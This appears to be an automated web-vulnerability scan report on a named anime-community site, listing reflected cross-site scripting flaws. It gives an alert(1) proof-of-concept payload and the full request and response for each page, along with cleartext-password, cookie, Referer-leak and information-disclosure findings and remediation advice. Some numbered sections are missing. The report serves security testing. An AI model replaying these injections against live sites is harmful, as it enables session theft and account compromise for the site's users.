Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the login request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72e40"><script>alert(1)</script>e1430befcb2e74bb5 was submitted in the login parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.
The value of the login request parameter is copied into an HTML comment. The payload 9773a--><script>alert(1)</script>8fb4053a2af was submitted in the login parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:29:32 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 32284
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] Logging in via form. username=9773a--><script>alert(1)</script>8fb4053a2af -->
<!-- SUPER SECRET DEBUG OUTPUT [ProcessLoginRS] Login result: ...[SNIP]...
1.3. http://otakubooty.com/Default.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/Default.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5011"><script>alert(1)</script>76b5e899461 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Default.asp??a5011"><script>alert(1)</script>76b5e899461=1 HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 19:29:47 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Set-Cookie: ASPSESSIONIDASBCQBRR=FELOGNJCMJCBMPLBCMMHHOKN; path=/ Vary: Accept-Encoding Content-Length: 33857
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: OtakuBo ...[SNIP]... <a href="/Default.asp??a5011"><script>alert(1)</script>76b5e899461=1&fa=nf"> ...[SNIP]...
1.4. http://otakubooty.com/oa.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/oa.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5243f"><script>alert(1)</script>8b6b5d9edb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /oa.asp?5243f"><script>alert(1)</script>8b6b5d9edb2=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 13331 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. -->
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http ...[SNIP]... <form action="/oa.asp?5243f"><script>alert(1)</script>8b6b5d9edb2=1" method=POST> ...[SNIP]...
1.5. http://otakubooty.com/of.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/of.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1815c"><script>alert(1)</script>41682778012 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /of.asp?1815c"><script>alert(1)</script>41682778012=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 37053 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Gen. Ch ...[SNIP]... <a href="/of.asp?1815c"><script>alert(1)</script>41682778012=1&fa=nf"> ...[SNIP]...
1.6. http://otakubooty.com/otaku_help.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_help.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3a456"><script>alert(1)</script>d7ef83a91a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_help.asp?3a456"><script>alert(1)</script>d7ef83a91a7=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:13:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 851287 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Info, H ...[SNIP]... <a href="/otaku_help.asp?3a456"><script>alert(1)</script>d7ef83a91a7=1&fa=nf"> ...[SNIP]...
The value of the tab request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517ef"><script>alert(1)</script>0f370775ea6 was submitted in the tab parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_help.asp?tab=mailpassword517ef"><script>alert(1)</script>0f370775ea6 HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Referer: http://otakubooty.com/Default.asp Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=96346818.1297459802.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; ASPSESSIONIDASBCQBRR=CPAPGNJCGFADCFPPEODBKAFD; password=; __utma=96346818.797814522.1297452653.1297452653.1297459802.2; __utmc=96346818; __utmb=96346818.3.10.1297459802
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:30:02 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 851753
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Info, H ...[SNIP]... <a href="/otaku_help.asp?tab=mailpassword517ef"><script>alert(1)</script>0f370775ea6&fa=nf"> ...[SNIP]...
1.8. http://otakubooty.com/otaku_news.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_news.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1ea6"><script>alert(1)</script>6181d9322cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_news.asp?d1ea6"><script>alert(1)</script>6181d9322cf=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:10:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 34038 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: OtakuBo ...[SNIP]... <a href="/otaku_news.asp?d1ea6"><script>alert(1)</script>6181d9322cf=1&fa=nf"> ...[SNIP]...
1.9. http://otakubooty.com/otaku_search.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_search.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24821"><script>alert(1)</script>ceffb1b07c0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_search.asp?24821"><script>alert(1)</script>ceffb1b07c0=1 HTTP/1.1 Host: otakubooty.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI; __utmz=96346818.1297452653.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=96346818.797814522.1297452653.1297452653.1297452653.1; __utmc=96346818; __utmb=96346818.1.10.1297452653; password=;
Response
HTTP/1.1 200 OK Connection: close Date: Fri, 11 Feb 2011 21:11:00 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Content-Length: 23480 Content-Type: text/html Set-Cookie: password=; path=/ Cache-control: private
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Find Me ...[SNIP]... <a href="/otaku_search.asp?24821"><script>alert(1)</script>ceffb1b07c0=1&fa=nf"> ...[SNIP]...
1.10. http://otakubooty.com/otaku_signup.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://otakubooty.com
Path:
/otaku_signup.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b9a5"><script>alert(1)</script>6c4c802194a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /otaku_signup.asp?5b9a5"><script>alert(1)</script>6c4c802194a=1 HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Referer: http://otakubooty.com/otaku_help.asp?tab=mailpassword Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=96346818.1297459802.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; ASPSESSIONIDASBCQBRR=CPAPGNJCGFADCFPPEODBKAFD; password=; __utma=96346818.797814522.1297452653.1297452653.1297459802.2; __utmc=96346818; __utmb=96346818.4.10.1297459802
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:29:44 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 19433
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Join Ot ...[SNIP]... <a href="/otaku_signup.asp?5b9a5"><script>alert(1)</script>6c4c802194a=1&fa=nf"> ...[SNIP]...
2. Cleartext submission of passwordpreviousnext There are 9 instances of this issue:
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /Default.asp? HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 19:29:46 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Set-Cookie: ASPSESSIONIDASBCQBRR=NDLOGNJCDHMPLHFJEKFDNPNP; path=/ Vary: Accept-Encoding Content-Length: 31846
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: OtakuBo ...[SNIP]...
4. Password field with autocomplete enabledpreviousnext There are 9 instances of this issue:
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
The response contains the following link to another domain:
http://johnedmundrose.com/
Request
GET /otaku_help.asp?tab=mailpassword HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Referer: http://otakubooty.com/Default.asp Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=96346818.1297459802.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/14; ASPSESSIONIDASBCQBRR=CPAPGNJCGFADCFPPEODBKAFD; password=; __utma=96346818.797814522.1297452653.1297452653.1297459802.2; __utmc=96346818; __utmb=96346818.3.10.1297459802
Response
HTTP/1.1 200 OK Cache-Control: private Date: Fri, 11 Feb 2011 21:29:34 GMT Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: password=; path=/ Vary: Accept-Encoding Content-Length: 13331
<!-- SUPER SECRET DEBUG OUTPUT [CheckForLoginAttempt] No login attempt attempted. --> <html><head><meta http-equiv="Content-Type" content="text/html;charset=Windows-1252"><title>OtakuBooty: Info, H ...[SNIP]... </strong> Find out more <a href="http://johnedmundrose.com" title="John Edmund Rose, software developer.">about John Rose</a> ...[SNIP]...
6. Email addresses disclosedpreviousnext There are 7 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following RFC 1918 IP address was disclosed in the response:
192.168.1.163
Issue background
RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.
Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.
Issue remediation
There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.
Request
GET /javascript/ob_min.js HTTP/1.1 Host: otakubooty.com Proxy-Connection: keep-alive Referer: http://otakubooty.com/Default.asp? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: password=; ASPSESSIONIDASBCQBRR=MDLOGNJCOIKEIJDIDEJPCJOI
Response
HTTP/1.1 200 OK Cache-Control: max-age=8640000 Content-Type: application/x-javascript Last-Modified: Fri, 06 Aug 2010 16:34:56 GMT Accept-Ranges: bytes ETag: "078a84d8535cb1:391c" Vary: Accept-Encoding Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Fri, 11 Feb 2011 19:29:46 GMT Content-Length: 13029
If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.
In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.